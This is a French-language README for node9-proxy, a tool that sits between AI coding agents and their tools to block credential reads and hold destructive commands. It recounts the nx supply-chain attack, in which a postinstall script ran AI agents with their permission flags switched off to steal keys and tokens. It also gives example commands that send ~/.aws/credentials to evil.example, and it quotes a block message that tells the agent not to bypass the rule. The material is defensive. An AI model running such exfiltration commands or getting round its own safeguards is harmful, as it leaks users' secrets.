
node9-proxy v1.66.0
La couche de sécurité d'exécution pour l'ère agentique. Fournissant une gouvernance « Sudo » déterministe et des journaux d'audit pour les agents IA autonomes.
🛡️ node9
IAM pour vos agents IA
Vos agents IA peuvent atteindre Slack, GitHub, l'e-mail et votre base de données.
node9 décide ce qu'ils peuvent faire avec chacun d'eux.
Prison de credentials · secrets et PII · git, SQL et shell destructeurs retenus pour examen · épinglage des outils MCP · liste d'autorisation de sortie réseau · coupe-circuit de boucle · un enregistrement à travers douze agents
Fonctionne avec Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · tout serveur MCP.
À quoi cela ressemble
Votre agent à gauche, node9 à droite. Chaque appel d'outil effectué par l'agent est
vérifié avant son exécution : autorisé et enregistré, retenu pour votre approbation, ou bloqué.
L'agent ici a été lancé avec --dangerously-skip-permissions, et node9 décide quand même.
node9 monitor: live tool calls, decisions, shields and score
Installation
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
Puis, dans n'importe quel projet :
node9 init # finds your agents and MCP servers and puts node9 in front of every tool call
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
Nécessite Node.js 22+.
init est tout le produit. Il écrit les hooks, active la prison de credentials
et les règles toujours actives, et commence à appliquer immédiatement. Rien ne quitte la
machine et aucun compte n'est nécessaire.
login n'ajoute rien à l'application. Il connecte la machine à un espace de travail pour
qu'une équipe puisse voir un enregistrement unique à travers les ordinateurs portables et la CI de chacun, définir une politique de manière centralisée,
et approuver les actions retenues depuis un tableau de bord ou Slack. Ignorez-le et node9 fonctionne exactement
de la même manière, seul, hors ligne. node9 logout déconnecte à nouveau et l'application locale
continue de fonctionner.
Le problème
En août 2025, des versions compromises de l'outil de build
nx ont livré un script post-installation
qui cherchait les agents de codage IA déjà installés sur la machine du développeur, puis les exécutait
avec leurs propres drapeaux de sécurité désactivés (--dangerously-skip-permissions, --yolo,
--trust-all-tools) pour énumérer les clés SSH, les credentials cloud et les fichiers de portefeuille et écrire la liste
sur le disque. Le script poussait les résultats vers des dépôts publics dans les propres comptes GitHub
des victimes. Plus de mille jetons GitHub valides ont fuité, ainsi que des credentials cloud, des jetons npm
et environ 20 000 fichiers, depuis des machines où l'agent faisait exactement ce qu'on lui avait
demandé.
L'agent n'était pas l'attaquant. L'agent était l'outil, et rien ne se dressait entre lui et les fichiers. Le portail de node9 n'est pas l'un de ces drapeaux : il s'exécute dans le hook, et une action qu'il retient reste retenue même lorsque l'agent a été démarré avec les permissions ignorées.
Ce que node9 fait à ce sujet
node9 se place entre l'agent et chaque outil qu'il appelle. La prison de credentials (~/.ssh, ~/.aws,
fichiers .env, clés privées) est activée par défaut, et une lecture de l'un de ces chemins ne s'exécute pas.
L'agent est arrêté, on lui explique pourquoi, et la décision vous parvient :
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
La commande est analysée comme un AST de shell, et non mise en correspondance comme du texte, donc envelopper la lecture n'aide pas.
echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example est jugé comme une lecture
de ~/.aws/credentials, et non comme un echo.
node9 est un portail. Une action retenue ne s'exécute pas pendant qu'elle vous attend, et si vous ne répondez jamais elle reste bloquée. Tout le reste est autorisé et écrit dans l'enregistrement.
Ce qu'il ne fait pas : avec le contrôle de sortie désactivé, ce qui est la valeur par défaut, une commande qui remet un
fichier directement au réseau, comme curl -d @~/.aws/credentials, n'est pas traitée comme une lecture de
ce fichier. node9 egress protect filtre aussi les destinations, et il ne couvre que les commandes shell.
Vérifiez-le vous-même
Rien ci-dessous n'a besoin d'un compte, et rien ne téléverse.
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
node9 scan scorecard
Ce qu'il gouverne
Chaque ligne est une capacité, avec la page qui la documente. La documentation est la référence ; ce fichier est la carte.